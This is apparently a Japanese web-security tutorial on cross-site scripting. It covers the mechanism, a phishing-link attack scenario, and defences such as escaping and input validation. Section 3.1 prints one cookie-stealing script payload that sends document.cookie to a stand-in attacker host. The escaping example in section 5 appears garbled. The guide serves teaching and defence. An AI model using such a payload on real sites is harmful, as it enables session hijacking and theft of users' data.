Index
テーマ:XSS(クロスサイトスクリプティング)の原理と対策
1. はじめに
Webサイト制作や運用において、セキュリティ対策は欠かせない要素です。今回の資料では、フィッシング、偽造サイト等で使われるXSSの基本的な概念、発生の仕組み、悪意ある攻撃例(悪意のある人の偽サイトのリンクをクリックした場合)を通じたリスク、そしてその対策方法について解説します。
2. XSSとは
クロスサイトスクリプティング(XSS) とは、悪意のあるスクリプト(主にJavaScript)が、脆弱なWebページに不正に埋め込まれ、閲覧者のブラウザ上で実行される攻撃手法です。
入力データの無害化が不十分な場合、外部からの攻撃によりスクリプトがページに埋め込まれ、ユーザーのセッション情報や個人情報が盗まれるケースがあります。
3. XSSの発生原理
3.1 スクリプトの混入プロセス
- 入力内容の直接反映
悪意あるサイトのリンクをクリックしたユーザーから受け取った悪意あるスクリプトを、適切なエスケープ処理やサニタイズを施さずにWebページへ出力すると、HTML内にスクリプトが含まれてしまいます。 - 悪意あるスクリプト例
以下のようなスクリプトが入力された場合、無防備なWebページではそのまま実行されます。
<script>document.location=’http://attacker.com/steal?cookie=’+document.cookie</script>
このスクリプトは、ページを訪れたユーザーのクッキー情報を攻撃者のサーバーへ送信します。

4. 攻撃事例:悪意のある人の偽サイトのリンクをクリックした場合
4.1 攻撃の流れ
- 誘導
ユーザーは、SNSやメール等で送信されたリンクをクリックします。このリンクは、一見正規のWebページに見えますが、実際には悪意のある人が用意した偽サイトへ誘導します。 - 偽サイトでのスクリプト実行
偽サイトでは、内部に悪意のあるJavaScriptが埋め込まれており、ユーザーがページを表示した瞬間に自動的に実行されます。 - クッキー情報の盗取
実行されたスクリプトが、別の脆弱性を抱えるWebサイトのログイン中ユーザーのクッキー情報を取得し、攻撃者へ送信します。
この事例は、リンク自体は正規に見えても、リンク先が偽サイトであることにより、ユーザーのセッション情報などが不正に取得されるリスクを示しています。
5. XSS対策
5.1 エスケープ処理とサニタイズ
- 概要
ユーザー入力に含まれる <, >, ” などの特殊文字を適切にエスケープすることで、ブラウザがそれらをスクリプトとして認識しないようにします。 - 実装例
例:<script> は <script> と表示される。
多くのモダンなフレームワーク(React、Vue、Django など)は自動でエスケープ処理を行うため、その仕組みを活用するとよいでしょう。
5.3 入力値の検証と制限
- 概要
サーバー側およびクライアント側で、入力されるデータの形式や内容を検証し、不審な文字列を排除する対策が必要です。 - 実践ポイント
HTMLタグの入力制限、正規表現によるバリデーションなどを実装し、不要なスクリプトコードの入力を防ぎます。
6. まとめ
Web制作や運用に関わる方々は、初期の設計段階からこれらの対策を組み込み、定期的なセキュリティ診断を実施することで、XSS攻撃からユーザーを守る仕組みを確実に構築してください。